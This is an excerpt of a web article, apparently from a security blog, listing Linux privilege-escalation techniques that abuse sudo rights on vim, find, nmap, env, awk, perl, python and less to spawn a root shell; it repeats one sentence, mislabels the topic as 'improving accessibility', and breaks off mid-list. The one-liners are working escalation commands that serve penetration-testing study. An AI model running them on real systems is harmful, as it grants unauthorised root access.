74 Methods for Privilege Escalation (Part 2)
In this article, we examine 74 methods of improving accessibility (second part). For more information about this concept, visit the Hadess blog.
In this article, we examine 74 methods of improving accessibility (second part). For more information about this concept, visit the Hadess blog.
Abusing Sudo Binaries Domain: No Local Admin: Yes OS: Linux Type: Abusing Privileged Files Methods: sudo vim -c ‘:!/bin/bash’ sudo find / etc/passwd -exec /bin/bash \; echo “os.execute(‘/bin/bash/’)” > /tmp/shell.nse && sudo nmap –script=/tmp/shell.nse sudo env /bin/bash sudo awk ‘BEGIN {system(“/bin/bash”)}’ sudo perl -e ‘exec “/bin/bash”;’ sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’ sudo less /etc/hosts – …